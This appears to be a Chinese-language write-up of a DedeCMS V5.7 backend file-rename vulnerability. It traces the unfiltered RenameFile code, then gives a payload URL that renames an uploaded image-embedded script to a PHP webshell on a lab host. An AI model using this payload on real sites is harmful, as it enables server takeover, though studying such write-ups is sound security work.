0x01 漏洞分析
漏洞文件: dede/file_manage_control.php ,$fmdo 开始时赋值,所以我们可以使fmdo=rename ,使其进入 if语句 ,调用 FileManagement 对象的 RenameFile 方法,跟进 RenameFile 方法。
关于这里的$fmdo变量,我们可以找找这个变量怎么来的
Ok那这里知道这个$fmdo变量是可以我们传递控制得到。
那我们跟进这个RenameFile函数
RenameFile函数位于/dede/file_class.php:
看到 $oldname 和 $newname 直接拼接生成,没有对文件名进行过滤,直接导致漏洞发生。所以最终payload为:
/dede/file_manage_control.php?fmdo=rename&oldfilename=你上传文件的路径&newfilename=你想写的路径
0x02 漏洞利用
登录后台后 可以上传一个图片马
这里可以看到上传的swf文件路径,接下来构造url改名,使其变为php后缀马
访问:
http://192.168.5.149/DedeCMS-V5.7/uploads/dede/file_manage_control.php?fmdo=rename&oldfilename=/DedeCMS-V5.7/uploads/uploads/media/190511/1_1555226071.SWF&newfilename=/secquan.php
显示上传成功